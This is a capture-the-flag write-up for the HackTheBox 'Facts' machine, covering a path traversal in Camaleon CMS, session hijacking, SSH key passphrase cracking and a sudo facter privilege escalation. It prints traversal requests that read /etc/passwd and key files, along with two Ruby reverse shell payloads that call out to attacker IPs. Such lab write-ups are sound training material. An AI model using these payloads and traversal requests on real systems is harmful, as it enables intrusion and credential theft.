HackTheBox — Facts

Machine Overview

Field Detail
Name Facts
OS Linux (Ubuntu 25.04)
Difficulty Easy
Target facts.htb
Attack Path Web Enumeration → Camaleon CMS RCE (blocked) → Reverse Path Traversal → Session Hijacking → SSH Key Theft → Passphrase Cracking → Sudo Misconfiguration (facter) → Root
CVE Referenced CVE-2024-46986 (Camaleon CMS arbitrary file write)

Facts is an easy-difficulty Linux machine built around a Camaleon CMS instance. While the box exposes a known arbitrary file write vulnerability in Camaleon CMS, the intended path instead relies on chaining a path traversal flaw in the admin media panel to hijack an administrator session, extract a SQLite database, crack a password hash, retrieve and crack an SSH private key, and finally abuse a sudo rule around Puppet's facter binary to escalate to root.


Table of Contents

  1. Reconnaissance
  2. Web Enumeration
  3. Gaining a Foothold — Camaleon CMS
  4. Exploiting the Path Traversal Vulnerability
  5. Privilege Escalation — Session Hijacking
  6. Attempted RCE via CVE-2024-46986
  7. Pivoting Back to Path Traversal — SSH Key Extraction
  8. Cracking the SSH Key Passphrase
  9. User Access
  10. Privilege Escalation — facter via sudo
  11. Root Access
  12. Summary

1. Reconnaissance

A standard Nmap scan reveals two HTTP services alongside SSH:

89e84fabaed041e97908182c295e9626.png

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server

The service on port 80 identifies itself with the HTTP title facts, while the service on 54321 is fingerprinted as a Golang net/http server (MinIO).

2. Web Enumeration

Visiting http://facts.htb:9001 (the internal redirect target of port 54321) returns an empty response:

A direct curl request against port 54321 instead returns an XML error:

05ace51177f187f2c2a1b5d22f509540.png

This response format is characteristic of an S3-compatible object storage service (e.g., MinIO), suggesting an internal storage backend sits behind port 54321.

A ffuf content discovery scan against port 80 returns a large number of accessible paths:

de09c0a9c73c35bfc329545c76595a35.png

sitemap   [Status: 200, Size: 3508,  Words: 424,  Lines: 130]
en        [Status: 200, Size: 11113, Words: 1328, Lines: 125]
html      [Status: 200, Size: 19593, Words: 3296, Lines: 282]
welcome   [Status: 200, Size: 11966, Words: 1481, Lines: 130]
admin     [Status: 302, Size: 0,     Words: 1,    Lines: 1]
...

Two entries stand out:

  • /sitemap — returns an XML sitemap enumerating several site pages (/welcome, /animal-ejected, /anne-frank, /cute-attachment, /cute-animals, /dark-chocolate, etc.), confirming a CMS-driven blog structure. c12f920602f6472c28273f1dbffa96b6.png
  • /admin — redirects to a login page branded "FACTS".

c25223ce5f2e02aa34f35a584b1487a5.png

3. Gaining a Foothold — Camaleon CMS

The footer of the admin login page discloses the underlying platform:

006390415426663fe295ba42e1d38c01.png

Camaleon CMS 2.9.0 is affected by CVE-2024-46986, an arbitrary file write vulnerability accessible via the MediaController's upload method:

"Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on... This can lead to delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Rails application."

Exploiting this requires an authenticated account with access to the Media panel. A self-registration form is available at /admin, so a new account is created:

8478b242c31f9a7407d3594f0f576370.png

However, the newly created account does not have access to the Media panel — only the Dashboard link is visible in the sidebar:

245d49dd951b905775dd50a9122a48dc.png

Attempting to register a second account using the username admin confirms that an administrator account already exists:

2e030e1f2e654678527ec6f843eedc42.png 51c50b06c96725b152a83bb8b8d0f63a.png

At this point the objective becomes clear: gain access to an account with Media panel privileges in order to trigger CVE-2024-46986.

4. Exploiting the Path Traversal Vulnerability

Further research into the admin panel uncovers a Reverse Path Traversal vulnerability in the media download endpoint:

863a9b555dbb1b92ecb5be5446e2d742.png

GET /admin/media/download_private_file?file=../../../../../../../../../etc/passwd

This endpoint fails to sanitize the file parameter, allowing arbitrary file reads from the underlying filesystem. Reading /etc/passwd reveals two non-system users:

d6509976cba77db39702a696a79cd2c8.png

Leveraging the same primitive, the user flag is retrieved directly:

4b649a53b3057e2602977491a6efe19a.png

GET /admin/media/download_private_file?file=../../../../../../../../home/william/user.txt

5. Session Hijacking

Continuing to enumerate the application source through the path traversal primitive, the Rails database configuration file is retrieved, disclosing the location of the SQLite database files:

cdcbdcdb7c6ce48584a91d45d968e0a4.png

Using the same traversal technique, storage/production.sqlite3 is downloaded from disk:

b8ba9bd9feb144293ae36b8464e4f313.png

Querying the database reveals the cama_users table, containing the admin account record alongside the attacker-controlled ignacio account:

Column Value Meaning
id 1 Unique user ID
username admin Login username
role admin User role
email admin@local.com Email address
password_digest $2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK bcrypt password hash
auth_token 1QGOA6YxgFANPE6XlGYPpg Session / authentication token
password_reset_token (empty) No pending reset
last_login_at 2026-01-08 15:30:12.955853 Last login timestamp

Rather than spending time cracking the bcrypt hash, the extracted auth_token is reused directly as a session/authentication cookie against facts.htb:

6036166995b941e80f680e1931ca0739.png

This successfully hijacks the administrator's session and grants access to the /admin/dashboard panel — including the Media section:

fbf81f1a4ab3e1232f6b5da08d55aed8.png

6. Attempted RCE via CVE-2024-46986 (FAILED)

With Media panel access secured, the CVE-2024-46986 arbitrary file write is attempted:

A Ruby reverse shell payload is prepared:

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.168.139.85",9001))'

This one-liner is saved as script.rb:

The upload request is intercepted with Burp Suite and the folder parameter is modified to traverse into the Rails initializer directory:

7928d5b285f753c2331e280e8d1de9c4.png

a7d6ee015c6e2d3d92c60a82d7f14032.png

Content-Disposition: form-data; name="folder"

../config/initializers

Despite repeated attempts at delivering the payload into config/initializers/ to achieve delayed code execution on application reload, the exploitation attempt does not succeed — the server responds with:

82501271caff20864a0acae2df476cc9.png

This path is abandoned in favor of continuing to leverage the reliable path traversal primitive already available.

7. Pivoting Back to Path Traversal — SSH Key Extraction

Using /admin/media/download_private_file, an attempt is made to retrieve SSH private keys for the discovered system users. The attempt against william fails, but the key for trivia is successfully retrieved:

88e9450092db01cbff8cade82c15acca.png

That’s something I should have tried as soon as I discovered the LFI. However, I was too focused on achieving RCE that I didn’t even consider it. Definitely a lesson to keep in mind for future assessments. Tunnel vision is a weakness that needs to be addressed.

8. Cracking the SSH Key Passphrase

The retrieved key is protected by a passphrase:

0160672a9eb37a15d0ba5270277d30f0.png

The key is converted into a crackable hash format with ssh2john:

ssh2john id_ssh >> id_rsa.txt

and cracked offline using john against the rockyou.txt wordlist:

john successfully cracking the passphrase as dragonballz

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt

87195dd957bb594e2b03c3d59bc85135.png Cracked passphrase: dragonballz

9. User Access

With the passphrase recovered, SSH access is established as trivia:

dd0dd0048248979cb335f33653871eea.png

ssh -i id_ssh trivia@facts.htb

10. Privilege Escalation — facter via sudo

Enumerating sudo privileges for the trivia user reveals a passwordless rule:

sudo -l

886969bfb103a879321ef9078e1db21d.png

facter is Puppet's system-facts collection tool, which supports loading custom facts written in Ruby from a specified directory via the --custom-dir flag. Since it can be run as root without a password, this provides a direct path to arbitrary Ruby code execution as root.

A Ruby reverse shell is prepared:

#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337

require 'socket'

s = Socket.new 2,1
s.connect Socket.sockaddr_in 9001, '10.10.16.150'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'

This payload is placed in an empty directory on the target (one containing no other .rb files, to avoid facter loading unrelated custom facts):

3dd1f95cfb945f42f02ba40cf9b01177.png

facter is then invoked with sudo, pointing --custom-dir at the directory containing the payload:

/opt/.local/share/gem/bin$ sudo facter --custom-dir=. x

11. Root Access

A listener catches the resulting reverse shell running as root:

dd20a4d022448f6dcefaac1d13e2de6d.png

12. Summary

Stage Technique
Recon Nmap identifies nginx (80) and a Golang net/http / S3-like service (54321)
Enumeration ffuf discovers /sitemap and /admin on a Camaleon CMS 2.9.0 instance
Initial foothold Self-registration reveals a Media-panel-only administrator restriction
Vulnerability chaining Reverse Path Traversal in /admin/media/download_private_file leaks /etc/passwd, the user flag, and the Rails database.yml
Credential access SQLite database exfiltrated via traversal; admin auth_token reused to hijack the session directly (bcrypt cracking bypassed entirely)
Blocked path CVE-2024-46986 arbitrary file write attempted but unsuccessful in this instance
Lateral movement SSH private key for trivia extracted via the same traversal primitive
Credential cracking Passphrase-protected key cracked offline with ssh2john + john (rockyou.txt) → dragonballz
Privilege escalation sudo NOPASSWD rule on facter --custom-dir abused to execute an arbitrary Ruby reverse shell as root